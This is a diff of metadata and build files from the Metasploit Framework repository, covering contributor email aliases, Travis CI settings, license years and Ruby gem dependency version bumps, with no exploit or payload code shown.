FireFart <FireFart@github> <firefart@gmail.com>
|
||||
FireFart <FireFart@github> <FireFart@users.noreply.github.com>
|
||||
FireFart <FireFart@github> Christian Mehlmauer <firefart@gmail.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> <greg_mikeska@rapid7.com>
|
||||
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <=>
|
||||
gmikeska-r7 <gmikeska-r7@github> greg.mikeska@rapid7.com <YOUR_USERNAME_FOR_EMAIL>
|
||||
g0tmi1k <g0tmi1k@github> <g0tmi1k@users.noreply.github.com>
|
||||
g0tmi1k <g0tmi1k@github> <have.you.g0tmi1k@gmail.com>
|
||||
h00die <h00die@github> <h00die@users.noreply.github.com>
|
||||
h00die <h00die@github> <mike@shorebreaksecurity.com>
|
||||
h0ng10 <h0ng10@github> h0ng10 <hansmartin.muench@googlemail.com>
|
||||
h0ng10 <h0ng10@github> Hans-Martin Münch <hansmartin.muench@googlemail.com>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <hdm@digitaloffense.net>
|
||||
hdm <hdm@github> HD Moore <hd_moore@rapid7.com>
|
||||
hdm <hdm@github> HD Moore <x@hdm.io>
|
||||
jabra <jabra@github> Josh Abraham <jabra@spl0it.org>
|
||||
jabra <jabra@github> Joshua Abraham <jabra@spl0it.org>
|
||||
jabra <jabra@github> <jabra@spl0it.org>
|
||||
jcran <jcran@github> <jcran@0x0e.org>
|
||||
jcran <jcran@github> <jcran@pentestify.com>
|
||||
jcran <jcran@github> <jcran@pwnieexpress.com>
|
||||
@@ -108,9 +107,9 @@ jcran <jcran@github> <jcran@rapid7.com>
|
||||
jduck <jduck@github> <github.jdrake@qoop.org>
|
||||
jduck <jduck@github> <jdrake@qoop.org>
|
||||
jgor <jgor@github> jgor <jgor@indiecom.org>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> <Joe_Vennix@rapid7.com>
|
||||
joevennix <joevennix@github> <joev@metasploit.com>
|
||||
joevennix <joevennix@github> Joe Vennix <joevennix@gmail.com>
|
||||
joevennix <joevennix@github> jvennix-r7 <Joe_Vennix@rapid7.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan.vazquez@metasploit.com>
|
||||
juanvazquez <juanvazquez@github> jvazquez-r7 <juan_vazquez@rapid7.com>
|
||||
@@ -139,15 +138,20 @@ r3dy <r3dy@github> Royce Davis <rdavis@Royces-MacBook-Pro-2.
|
||||
r3dy <r3dy@github> Royce Davis <royce.e.davis@gmail.com>
|
||||
rep <mschloesser-r7@github> Mark Schloesser <mark_schloesser@rapid7.com>
|
||||
rep <mschloesser-r7@github> mschloesser-r7 <mark_schloesser@rapid7.com>
|
||||
RageLtMan <sempervictus@github> <rageltman [at] sempervictus>
|
||||
RageLtMan <sempervictus@github> <rageltman@sempervictus.com>
|
||||
Rick Flores <0xnanoquetz9l@gmail.com> Rick Flores (nanotechz9l) <0xnanoquetz9l@gmail.com>
|
||||
rsmudge <rsmudge@github> Raphael Mudge <rsmudge@gmail.com> # Aka `butane
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft.github@gmail.com>
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft@gmail.com>
|
||||
rwhitcroft <rwhitcroft@github> <rwhitcroft@users.noreply.github.com>
|
||||
schierlm <schierlm@github> Michael Schierl <schierlm@gmx.de> # Aka mihi
|
||||
scriptjunkie <scriptjunkie@github> Matt Weeks <scriptjunkie@scriptjunkie.us>
|
||||
scriptjunkie <scriptjunkie@github> scriptjunkie <scriptjunkie@scriptjunkie.us>
|
||||
skape <skape@???> Matt Miller <mmiller@hick.org>
|
||||
spoonm <spoonm@github> Spoon M <spoonm@gmail.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
stufus <stufus@github> Stuart Morgan <stuart.morgan@mwrinfosecurity.com>
|
||||
stufus <stufus@github> Stuart <stufus@users.noreply.github.com>
|
||||
swtornio <swtornio@github> Steve Tornio <swtornio@gmail.com>
|
||||
Tasos Laskos <Tasos_Laskos@rapid7.com> Tasos Laskos <Tasos_Laskos@rapid7.com>
|
||||
techpeace <techpeace@github> Matt Buck <Matthew_Buck@rapid7.com>
|
||||
@@ -157,10 +161,10 @@ TomSellers <TomSellers@github> Tom Sellers <tom@fadedcode.net>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <trevor@catapult-creative.com>
|
||||
trevrosen <trevrosen@github> Trevor Rosen <Trevor_Rosen@rapid7.com>
|
||||
TrustedSec <davek@trustedsec.com> trustedsec <davek@trustedsec.com>
|
||||
void-in <void-in@github> root <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> void_in <root@localhost.localdomain>
|
||||
void-in <void-in@github> void-in <root@localhost.localdomain>
|
||||
void-in <void-in@github> <void-in@users.noreply.github.com>
|
||||
void-in <void-in@github> void-in <waqas.bsquare@gmail.com>
|
||||
void-in <void-in@github> Waqas Ali <waqas.bsquare@gmail.com>
|
||||
zeroSteiner <zeroSteiner@github> Spencer McIntyre <zeroSteiner@gmail.com>
|
||||
|
||||
|
||||
+1
-1
@@ -1 +1 @@
|
||||
2.3.1
|
||||
2.4.1
|
||||
|
||||
+19
-7
@@ -1,24 +1,29 @@
|
||||
dist: trusty
|
||||
sudo: false
|
||||
group: stable
|
||||
bundler_args: --without coverage development pcap
|
||||
cache: bundler
|
||||
addons:
|
||||
postgresql: '9.3'
|
||||
postgresql: '9.6'
|
||||
apt:
|
||||
packages:
|
||||
- libpcap-dev
|
||||
- graphviz
|
||||
language: ruby
|
||||
rvm:
|
||||
- '2.3.1'
|
||||
- '2.2'
|
||||
- '2.3.4'
|
||||
- '2.4.1'
|
||||
|
||||
env:
|
||||
- RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag content"
|
||||
- RAKE_TASKS=spec SPEC_OPTS="--tag ~content"
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"'
|
||||
- CMD='bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"'
|
||||
|
||||
matrix:
|
||||
fast_finish: true
|
||||
include:
|
||||
- rvm: ruby-head
|
||||
env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build"
|
||||
before_install:
|
||||
- "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc"
|
||||
- rake --version
|
||||
@@ -26,14 +31,18 @@ before_install:
|
||||
- ln -sf ../../tools/dev/pre-commit-hook.rb ./.git/hooks/post-merge
|
||||
- ls -la ./.git/hooks
|
||||
- ./.git/hooks/post-merge
|
||||
# Update the bundler
|
||||
- gem install bundler
|
||||
before_script:
|
||||
- cp config/database.yml.travis config/database.yml
|
||||
- bundle exec rake --version
|
||||
- bundle exec rake db:create
|
||||
- bundle exec rake db:migrate
|
||||
script:
|
||||
# fail build if db/schema.rb update is not committed
|
||||
- git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS
|
||||
- git diff --exit-code db/schema.rb
|
||||
script:
|
||||
- echo "${CMD}"
|
||||
- bash -c "${CMD}"
|
||||
|
||||
notifications:
|
||||
irc: "irc.freenode.org#msfnotify"
|
||||
@@ -46,3 +55,6 @@ branches:
|
||||
except:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
|
||||
services:
|
||||
- docker
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
Copyright (C) 2006-2016, Rapid7, Inc.
|
||||
Copyright (C) 2006-2017, Rapid7, Inc.
|
||||
All rights reserved.
|
||||
|
||||
Redistribution and use in source and binary forms, with or without modification,
|
||||
|
||||
@@ -3,11 +3,15 @@ source 'https://rubygems.org'
|
||||
# spec.add_runtime_dependency '<name>', [<version requirements>]
|
||||
gemspec name: 'metasploit-framework'
|
||||
|
||||
# These pull in pre-release gems in order to fix specific issues.
|
||||
# XXX https://github.com/alexdalitz/dnsruby/pull/134
|
||||
gem 'dnsruby', git: 'https://github.com/alexdalitz/dnsruby'
|
||||
# XXX https://github.com/ConnorAtherton/rb-readline/commit/fd882edcd145c26681f9971be5f6675c7f6d1970
|
||||
gem 'rb-readline', git: 'https://github.com/ConnorAtherton/rb-readline'
|
||||
|
||||
# separate from test as simplecov is not run on travis-ci
|
||||
group :coverage do
|
||||
# code coverage for tests
|
||||
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
|
||||
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
|
||||
gem 'simplecov'
|
||||
end
|
||||
|
||||
@@ -19,8 +23,10 @@ group :development do
|
||||
# for development and testing purposes
|
||||
gem 'pry'
|
||||
# module documentation
|
||||
gem 'octokit', '~> 4.0'
|
||||
# rails-upgrade staging gems
|
||||
gem 'octokit'
|
||||
# metasploit-aggregator as a framework only option for now
|
||||
# Metasploit::Aggregator external session proxy
|
||||
gem 'metasploit-aggregator'
|
||||
end
|
||||
|
||||
group :development, :test do
|
||||
@@ -33,14 +39,10 @@ group :development, :test do
|
||||
# Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the
|
||||
# environment is development
|
||||
gem 'rspec-rails'
|
||||
gem 'rspec-rerun'
|
||||
end
|
||||
|
||||
group :test do
|
||||
# cucumber extension for testing command line applications, like msfconsole
|
||||
gem 'aruba'
|
||||
# cucumber + automatic database cleaning with database_cleaner
|
||||
gem 'cucumber-rails', :require => false
|
||||
gem 'shoulda-matchers'
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
@@ -27,8 +27,6 @@ end
|
||||
|
||||
# Create a custom group
|
||||
group :local do
|
||||
# Use pry-debugger to step through code during development
|
||||
gem 'pry-debugger', '~> 0.2'
|
||||
# Add the lab gem so that the 'lab' plugin will work again
|
||||
gem 'lab', '~> 0.2.7'
|
||||
end
|
||||
|
||||
+187
-158
@@ -1,12 +1,26 @@
|
||||
GIT
|
||||
remote: https://github.com/ConnorAtherton/rb-readline
|
||||
revision: fd882edcd145c26681f9971be5f6675c7f6d1970
|
||||
specs:
|
||||
rb-readline (0.5.4)
|
||||
|
||||
GIT
|
||||
remote: https://github.com/alexdalitz/dnsruby
|
||||
revision: 09c3890ccfaedb7fd4951f56575d5c53651e0140
|
||||
specs:
|
||||
dnsruby (1.60.1)
|
||||
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (4.13.0)
|
||||
metasploit-framework (4.15.2)
|
||||
actionpack (~> 4.2.6)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
backports
|
||||
bcrypt
|
||||
bit-struct
|
||||
dnsruby
|
||||
filesize
|
||||
jsobfu
|
||||
json
|
||||
@@ -14,13 +28,14 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 1.1.29)
|
||||
metasploit-payloads (= 1.2.37)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 0.0.8)
|
||||
metasploit_payloads-mettle (= 0.1.10)
|
||||
msgpack
|
||||
nessus_rest
|
||||
net-ssh
|
||||
network_interface
|
||||
nexpose
|
||||
nokogiri
|
||||
octokit
|
||||
openssl-ccm
|
||||
@@ -28,9 +43,10 @@ PATH
|
||||
packetfu
|
||||
patch_finder
|
||||
pcaprub
|
||||
pg
|
||||
pdf-reader
|
||||
pg (= 0.20.0)
|
||||
railties
|
||||
rb-readline-r7
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
rex-arch
|
||||
@@ -42,7 +58,7 @@ PATH
|
||||
rex-mime
|
||||
rex-nop
|
||||
rex-ole
|
||||
rex-powershell
|
||||
rex-powershell (< 0.1.73)
|
||||
rex-random_identifier
|
||||
rex-registry
|
||||
rex-rop_builder
|
||||
@@ -52,6 +68,7 @@ PATH
|
||||
rex-text
|
||||
rex-zip
|
||||
robots
|
||||
ruby_smb
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sqlite3
|
||||
@@ -59,118 +76,110 @@ PATH
|
||||
tzinfo
|
||||
tzinfo-data
|
||||
windows_error
|
||||
xdr
|
||||
xmlrpc
|
||||
|
||||
GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
actionpack (4.2.7.1)
|
||||
actionview (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
Ascii85 (1.0.2)
|
||||
actionpack (4.2.9)
|
||||
actionview (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
rack (~> 1.6)
|
||||
rack-test (~> 0.6.2)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
actionview (4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
actionview (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
builder (~> 3.1)
|
||||
erubis (~> 2.7.0)
|
||||
rails-dom-testing (~> 1.0, >= 1.0.5)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.2)
|
||||
activemodel (4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.0.3)
|
||||
activemodel (4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
builder (~> 3.1)
|
||||
activerecord (4.2.7.1)
|
||||
activemodel (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
activerecord (4.2.9)
|
||||
activemodel (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
arel (~> 6.0)
|
||||
activesupport (4.2.7.1)
|
||||
activesupport (4.2.9)
|
||||
i18n (~> 0.7)
|
||||
json (~> 1.7, >= 1.7.7)
|
||||
minitest (~> 5.1)
|
||||
thread_safe (~> 0.3, >= 0.3.4)
|
||||
tzinfo (~> 1.1)
|
||||
addressable (2.5.0)
|
||||
addressable (2.5.1)
|
||||
public_suffix (~> 2.0, >= 2.0.2)
|
||||
arel (6.0.3)
|
||||
arel-helpers (2.3.0)
|
||||
afm (0.2.2)
|
||||
arel (6.0.4)
|
||||
arel-helpers (2.4.0)
|
||||
activerecord (>= 3.1.0, < 6)
|
||||
aruba (0.14.2)
|
||||
childprocess (~> 0.5.6)
|
||||
contracts (~> 0.9)
|
||||
cucumber (>= 1.3.19)
|
||||
ffi (~> 1.9.10)
|
||||
rspec-expectations (>= 2.99)
|
||||
thor (~> 0.19)
|
||||
backports (3.8.0)
|
||||
bcrypt (3.1.11)
|
||||
bit-struct (0.15.0)
|
||||
builder (3.2.2)
|
||||
capybara (2.10.1)
|
||||
addressable
|
||||
mime-types (>= 1.16)
|
||||
nokogiri (>= 1.3.3)
|
||||
rack (>= 1.0.0)
|
||||
rack-test (>= 0.5.4)
|
||||
xpath (~> 2.0)
|
||||
childprocess (0.5.9)
|
||||
ffi (~> 1.0, >= 1.0.11)
|
||||
bindata (2.4.0)
|
||||
bit-struct (0.16)
|
||||
builder (3.2.3)
|
||||
coderay (1.1.1)
|
||||
contracts (0.14.0)
|
||||
cucumber (2.4.0)
|
||||
builder (>= 2.1.2)
|
||||
cucumber-core (~> 1.5.0)
|
||||
cucumber-wire (~> 0.0.1)
|
||||
diff-lcs (>= 1.1.3)
|
||||
gherkin (~> 4.0)
|
||||
multi_json (>= 1.7.5, < 2.0)
|
||||
multi_test (>= 0.1.2)
|
||||
cucumber-core (1.5.0)
|
||||
gherkin (~> 4.0)
|
||||
cucumber-rails (1.4.5)
|
||||
capybara (>= 1.1.2, < 3)
|
||||
cucumber (>= 1.3.8, < 4)
|
||||
mime-types (>= 1.16, < 4)
|
||||
nokogiri (~> 1.5)
|
||||
railties (>= 3, < 5.1)
|
||||
cucumber-wire (0.0.1)
|
||||
diff-lcs (1.2.5)
|
||||
diff-lcs (1.3)
|
||||
docile (1.1.5)
|
||||
erubis (2.7.0)
|
||||
factory_girl (4.7.0)
|
||||
factory_girl (4.8.0)
|
||||
activesupport (>= 3.0.0)
|
||||
factory_girl_rails (4.7.0)
|
||||
factory_girl (~> 4.7.0)
|
||||
factory_girl_rails (4.8.0)
|
||||
factory_girl (~> 4.8.0)
|
||||
railties (>= 3.0.0)
|
||||
faraday (0.9.2)
|
||||
faraday (0.12.1)
|
||||
multipart-post (>= 1.2, < 3)
|
||||
ffi (1.9.14)
|
||||
filesize (0.1.1)
|
||||
fivemat (1.3.2)
|
||||
gherkin (4.0.0)
|
||||
i18n (0.7.0)
|
||||
jsobfu (0.4.1)
|
||||
rkelly-remix (= 0.0.6)
|
||||
json (1.8.3)
|
||||
fivemat (1.3.5)
|
||||
google-protobuf (3.3.0)
|
||||
googleauth (0.5.1)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.4)
|
||||
logging (~> 2.0)
|
||||
memoist (~> 0.12)
|
||||
multi_json (~> 1.11)
|
||||
os (~> 0.9)
|
||||
signet (~> 0.7)
|
||||
grpc (1.4.1)
|
||||
google-protobuf (~> 3.1)
|
||||
googleauth (~> 0.5.1)
|
||||
hashery (2.1.2)
|
||||
i18n (0.8.6)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.1.0)
|
||||
jwt (1.5.6)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.2.2)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.10)
|
||||
loofah (2.0.3)
|
||||
nokogiri (>= 1.5.9)
|
||||
metasm (1.0.2)
|
||||
metasploit-concern (2.0.1)
|
||||
memoist (0.16.0)
|
||||
metasm (1.0.3)
|
||||
metasploit-aggregator (0.2.1)
|
||||
grpc
|
||||
rex-arch
|
||||
metasploit-concern (2.0.5)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-credential (2.0.5)
|
||||
metasploit-credential (2.0.10)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models
|
||||
pg
|
||||
railties
|
||||
rex-socket
|
||||
rubyntlm
|
||||
rubyzip
|
||||
metasploit-model (2.0.0)
|
||||
metasploit-model (2.0.4)
|
||||
activemodel (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
railties (~> 4.2.6)
|
||||
metasploit-payloads (1.1.29)
|
||||
metasploit_data_models (2.0.6)
|
||||
metasploit-payloads (1.2.37)
|
||||
metasploit_data_models (2.0.15)
|
||||
activerecord (~> 4.2.6)
|
||||
activesupport (~> 4.2.6)
|
||||
arel-helpers
|
||||
@@ -180,32 +189,35 @@ GEM
|
||||
postgres_ext
|
||||
railties (~> 4.2.6)
|
||||
recog (~> 2.0)
|
||||
metasploit_payloads-mettle (0.0.8)
|
||||
metasploit_payloads-mettle (0.1.10)
|
||||
method_source (0.8.2)
|
||||
mime-types (3.1)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2016.0521)
|
||||
mini_portile2 (2.1.0)
|
||||
minitest (5.9.1)
|
||||
msgpack (1.0.2)
|
||||
mini_portile2 (2.2.0)
|
||||
minitest (5.10.2)
|
||||
msgpack (1.1.0)
|
||||
multi_json (1.12.1)
|
||||
multi_test (0.1.2)
|
||||
multipart-post (2.0.0)
|
||||
nessus_rest (0.1.6)
|
||||
net-ssh (3.2.0)
|
||||
net-ssh (4.1.0)
|
||||
network_interface (0.0.1)
|
||||
nokogiri (1.6.8.1)
|
||||
mini_portile2 (~> 2.1.0)
|
||||
octokit (4.6.0)
|
||||
nexpose (6.1.0)
|
||||
nokogiri (1.8.0)
|
||||
mini_portile2 (~> 2.2.0)
|
||||
octokit (4.7.0)
|
||||
sawyer (~> 0.8.0, >= 0.5.3)
|
||||
openssl-ccm (1.2.1)
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (1.1.11)
|
||||
network_interface (~> 0.0)
|
||||
pcaprub (~> 0.12)
|
||||
os (0.9.6)
|
||||
packetfu (1.1.13)
|
||||
pcaprub
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.12.4)
|
||||
pg (0.19.0)
|
||||
pdf-reader (2.0.0)
|
||||
Ascii85 (~> 1.0.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (0.20.0)
|
||||
pg_array_parser (0.0.9)
|
||||
postgres_ext (3.0.0)
|
||||
activerecord (>= 4.0.0)
|
||||
@@ -215,137 +227,154 @@ GEM
|
||||
coderay (~> 1.1.0)
|
||||
method_source (~> 0.8.1)
|
||||
slop (~> 3.4)
|
||||
public_suffix (2.0.4)
|
||||
rack (1.6.5)
|
||||
public_suffix (2.0.5)
|
||||
rack (1.6.8)
|
||||
rack-test (0.6.3)
|
||||
rack (>= 1.0)
|
||||
rails-deprecated_sanitizer (1.0.3)
|
||||
activesupport (>= 4.2.0.alpha)
|
||||
rails-dom-testing (1.0.7)
|
||||
rails-dom-testing (1.0.8)
|
||||
activesupport (>= 4.2.0.beta, < 5.0)
|
||||
nokogiri (~> 1.6.0)
|
||||
nokogiri (~> 1.6)
|
||||
rails-deprecated_sanitizer (>= 1.0.1)
|
||||
rails-html-sanitizer (1.0.3)
|
||||
loofah (~> 2.0)
|
||||
railties (4.2.7.1)
|
||||
actionpack (= 4.2.7.1)
|
||||
activesupport (= 4.2.7.1)
|
||||
railties (4.2.9)
|
||||
actionpack (= 4.2.9)
|
||||
activesupport (= 4.2.9)
|
||||
rake (>= 0.8.7)
|
||||
thor (>= 0.18.1, < 2.0)
|
||||
rake (11.3.0)
|
||||
rb-readline-r7 (0.5.2.0)
|
||||
recog (2.0.24)
|
||||
rake (12.0.0)
|
||||
recog (2.1.11)
|
||||
nokogiri
|
||||
redcarpet (3.3.4)
|
||||
rex-arch (0.1.2)
|
||||
redcarpet (3.4.0)
|
||||
rex-arch (0.1.9)
|
||||
rex-text
|
||||
rex-bin_tools (0.1.1)
|
||||
rex-bin_tools (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.2)
|
||||
rex-encoder (0.1.0)
|
||||
rex-core (0.1.11)
|
||||
rex-encoder (0.1.4)
|
||||
metasm
|
||||
rex-arch
|
||||
rex-text
|
||||
rex-exploitation (0.1.2)
|
||||
rex-exploitation (0.1.14)
|
||||
jsobfu
|
||||
metasm
|
||||
rex-arch
|
||||
rex-encoder
|
||||
rex-text
|
||||
rex-java (0.1.2)
|
||||
rex-mime (0.1.1)
|
||||
rex-java (0.1.5)
|
||||
rex-mime (0.1.5)
|
||||
rex-text
|
||||
rex-nop (0.1.0)
|
||||
rex-nop (0.1.1)
|
||||
rex-arch
|
||||
rex-ole (0.1.2)
|
||||
rex-ole (0.1.6)
|
||||
rex-text
|
||||
rex-powershell (0.1.66)
|
||||
rex-powershell (0.1.72)
|
||||
rex-random_identifier
|
||||
rex-text
|
||||
rex-random_identifier (0.1.0)
|
||||
rex-random_identifier (0.1.2)
|
||||
rex-text
|
||||
rex-registry (0.1.0)
|
||||
rex-rop_builder (0.1.0)
|
||||
rex-registry (0.1.3)
|
||||
rex-rop_builder (0.1.3)
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.0)
|
||||
rex-socket (0.1.8)
|
||||
rex-core
|
||||
rex-sslscan (0.1.0)
|
||||
rex-sslscan (0.1.4)
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.0)
|
||||
rex-text (0.2.5)
|
||||
rex-zip (0.1.0)
|
||||
rex-struct2 (0.1.2)
|
||||
rex-text (0.2.15)
|
||||
rex-zip (0.1.3)
|
||||
rex-text
|
||||
rkelly-remix (0.0.6)
|
||||
rkelly-remix (0.0.7)
|
||||
robots (0.10.1)
|
||||
rspec-core (3.5.4)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-expectations (3.5.0)
|
||||
rspec (3.6.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-core (3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-expectations (3.6.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-mocks (3.5.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-mocks (3.6.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-rails (3.5.2)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-rails (3.6.0)
|
||||
actionpack (>= 3.0)
|
||||
activesupport (>= 3.0)
|
||||
railties (>= 3.0)
|
||||
rspec-core (~> 3.5.0)
|
||||
rspec-expectations (~> 3.5.0)
|
||||
rspec-mocks (~> 3.5.0)
|
||||
rspec-support (~> 3.5.0)
|
||||
rspec-support (3.5.0)
|
||||
rubyntlm (0.6.1)
|
||||
rubyzip (1.2.0)
|
||||
sawyer (0.8.0)
|
||||
rspec-core (~> 3.6.0)
|
||||
rspec-expectations (~> 3.6.0)
|
||||
rspec-mocks (~> 3.6.0)
|
||||
rspec-support (~> 3.6.0)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.6.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby_smb (0.0.18)
|
||||
bindata
|
||||
rubyntlm
|
||||
windows_error
|
||||
rubyntlm (0.6.2)
|
||||
rubyzip (1.2.1)
|
||||
sawyer (0.8.1)
|
||||
addressable (>= 2.3.5, < 2.6)
|
||||
faraday (~> 0.8, < 0.10)
|
||||
shoulda-matchers (3.1.1)
|
||||
activesupport (>= 4.0.0)
|
||||
simplecov (0.12.0)
|
||||
faraday (~> 0.8, < 1.0)
|
||||
signet (0.7.3)
|
||||
addressable (~> 2.3)
|
||||
faraday (~> 0.9)
|
||||
jwt (~> 1.5)
|
||||
multi_json (~> 1.10)
|
||||
simplecov (0.14.1)
|
||||
docile (~> 1.1.0)
|
||||
json (>= 1.8, < 3)
|
||||
simplecov-html (~> 0.10.0)
|
||||
simplecov-html (0.10.0)
|
||||
simplecov-html (0.10.1)
|
||||
slop (3.6.0)
|
||||
sqlite3 (1.3.12)
|
||||
sshkey (1.8.0)
|
||||
thor (0.19.1)
|
||||
thread_safe (0.3.5)
|
||||
timecop (0.8.1)
|
||||
tzinfo (1.2.2)
|
||||
sqlite3 (1.3.13)
|
||||
sshkey (1.9.0)
|
||||
thor (0.19.4)
|
||||
thread_safe (0.3.6)
|
||||
timecop (0.9.1)
|
||||
ttfunk (1.5.1)
|
||||
tzinfo (1.2.3)
|
||||
thread_safe (~> 0.1)
|
||||
tzinfo-data (1.2016.9)
|
||||
tzinfo-data (1.2017.2)
|
||||
tzinfo (>= 1.0.0)
|
||||
windows_error (0.0.2)
|
||||
xpath (2.0.0)
|
||||
nokogiri (~> 1.3)
|
||||
yard (0.9.5)
|
||||
windows_error (0.1.2)
|
||||
xdr (2.0.0)
|
||||
activemodel (>= 4.2.7)
|
||||
activesupport (>= 4.2.7)
|
||||
xmlrpc (0.3.0)
|
||||
yard (0.9.9)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
DEPENDENCIES
|
||||
aruba
|
||||
cucumber-rails
|
||||
dnsruby!
|
||||
factory_girl_rails
|
||||
fivemat
|
||||
metasploit-aggregator
|
||||
metasploit-framework!
|
||||
octokit (~> 4.0)
|
||||
octokit
|
||||
pry
|
||||
rake
|
||||
rb-readline!
|
||||
redcarpet
|
||||
rspec-rails
|
||||
shoulda-matchers
|
||||
rspec-rerun
|
||||
simplecov
|
||||
timecop
|
||||
yard
|
||||
|
||||
BUNDLED WITH
|
||||
1.13.6
|
||||
1.15.2
|
||||
|
||||
@@ -2,7 +2,7 @@ Format: http://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
|
||||
Source: http://www.metasploit.com/
|
||||
|
||||
Files: *
|
||||
Copyright: 2006-2016, Rapid7, Inc.
|
||||
Copyright: 2006-2017, Rapid7, Inc.
|
||||
License: BSD-3-clause
|
||||
|
||||
# The Metasploit Framework is provided under the 3-clause BSD license provided
|
||||
@@ -19,19 +19,6 @@ Files: data/templates/to_mem_pshreflection.ps1.template
|
||||
Copyright: 2012, Matthew Graeber
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: data/john/*
|
||||
Copyright: 1996-2011 Solar Designer.
|
||||
License: GPL-2
|
||||
|
||||
Files: external/pcaprub/*
|
||||
Copyright: 2007-2008, Alastair Houghton
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: external/ruby-kissfft/*
|
||||
Copyright: 2003-2010 Mark Borgerding
|
||||
2009-2012 H D Moore <hdm[at]rapid7.com>
|
||||
License: BSD-3-clause
|
||||
|
||||
Files: external/source/exploits/IE11SandboxEscapes/*
|
||||
Copyright: James Forshaw, 2014
|
||||
License: GPLv3
|
||||
@@ -79,38 +66,18 @@ Files: lib/anemone.rb lib/anemone/*
|
||||
Copyright: 2009 Vertive, Inc.
|
||||
License: MIT
|
||||
|
||||
Files: lib/bit-struct.rb lib/bit-struct/*
|
||||
Copyright: 2005-2009, Joel VanderWerf
|
||||
License: Ruby
|
||||
|
||||
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
|
||||
Copyright: 2006-2010 Yoann GUILLOT
|
||||
License: LGPL-2.1
|
||||
|
||||
Files: lib/nessus/*
|
||||
Copyright: Vlatoko Kosturjak
|
||||
License: BSD-3-clause
|
||||
|
||||
